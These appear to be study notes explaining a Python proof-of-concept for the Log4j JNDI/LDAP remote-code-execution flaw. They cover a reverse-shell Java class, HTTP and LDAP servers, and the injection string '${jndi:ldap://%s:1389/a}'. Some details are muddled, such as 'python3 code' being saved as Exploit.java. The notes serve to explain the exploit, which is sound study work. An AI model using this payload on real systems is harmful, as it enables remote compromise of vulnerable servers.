Poc.py Code Notes

Imported Modules

1. Argparse – Allows for a user-friendly implementation of accepting arguments at runtime.
2. Colorama – Allows for changing of colors in the text
    a. Fore
        i. Function that allows changing the color of text that appears on the CLI.
    b. init
        i. Function that allows for color changes to also work on Windows as well as other QoL features.
3. Subprocess – Allows you to spawn new processes and connect to their input/output/error pipes, and obtain their return codes.
4. Threading – Allows you to have different parts of a program run concurrently and can simplify the design. This can speed up the program because it is a separate flow of execution.
5. Pathlib – Allows for a filesystem with paths to call different operating systems.
    a. Path
        i.
6. os – Allows a portable way of using the operating system functionality dependently.
7. http.server – Defines classes for implementing HTTP servers.
    a. HTTPServer - Builds on the TCP Server class and stores the server address as variables.
    b. SimpleHTTPRequestHandler

Global Variables

- CUR_FOLDER – Generates path for the current working directory.

Poc.py Code Execution

main Function() (line #107 – #144)

1. Line #107 – #132
    a. Beginning of **main()** function.
    b. Descriptive text is printed.
    c. New object **"parser"** is initialized and used to define the structure of arguments; There is --userip, --webport, --lport that will be input by the user in the CLI.
        i. userip (str): The IP address where the attacker is hosting their LDAP server which contains the payload to execute on the vulnerable application. This is the IP on which the reverse shell will be accessible.
        ii. webport (int): The port on which the HTTP server will be hosted on.
        iii. lport (int): The port on which the attacker will listen on to establish the reverse shell connection with the vulnerable machine.
    d. Creates an object called **args** and stores the arguments that are input by the user at runtime.
2. Line #133 – #144
    a. Creates an if statement to run the function check_java which scans the operating system to check if java is installed in the same director as jdk1.8.0_20/bin/java
    b. If the statement is FALSE, the program will print out "Java is not installed inside the repository" in RED
    c. If the statement is TRUE, the program will continue on to the payload function
    d. But if there is a keyboard interrupt built in the basic python3, then it exits the program with the message "user interrupted the program."

check_java() (line #85 – #90)

1. Boolean function that uses the **subprocess.call()** function to execute the command "java -version" (STDERR and STDOUT are redirected to "/dev/null") and stores the exit code value in the variable "exit_code".
2. Returns true if exit_code equals zero and false otherwise.

payload Function() (line #70 – #82)

1. Receives three parameters that was defined in the **main()**:
    a. userip (str)
    b. webport (int)
    c. lport (int)
2. Go to **generate_payload().**
3. After the payload was generated LDAP Server is created (on another thread).
4. The HTTP web server is also created and listens for requests from any IP address on the given webport established in **main()**.
5. The variable "httpd" is a new HTTPServer object that can be used to start an HTTP service.

6. The **serve_forever()** function of the “HTTPServer” module allows for a continuous listening HTTP service.

generate_payload Function() (line #14 – #67)

1. Function takes parameters:
    a. userip: str
    b. lport: int
2. Malicious java code is written to create a connection and stores it in the variable called “program”.
3. Then the python3 code is saved in “jdk1.8.0_20/bin/javac” as “Exploit.java” so it can be executed as a Java binary.
4. If “Exploit.java” could not be stored in the vulnerable machine an exception will be raised.
5. Otherwise, it was successful and the code will print “Exploit java class created success” to the CLI.

ldap_server Function() (line #93 – #104)

1. Function takes parameters established in **main()**:
    a. userip: str
    b. lport: int
2. Prints the actual malicious code which is “{$jndi:ldap://%s:1389/a}” to the CLI. This can be used as input on the vulnerable application.
3. Creates the variable “url” which contains the URL path to the Java payload (Exploit.java).
4. Uses **subprocess.run()** to run the Java interpreter which starts the LDAP Reference server.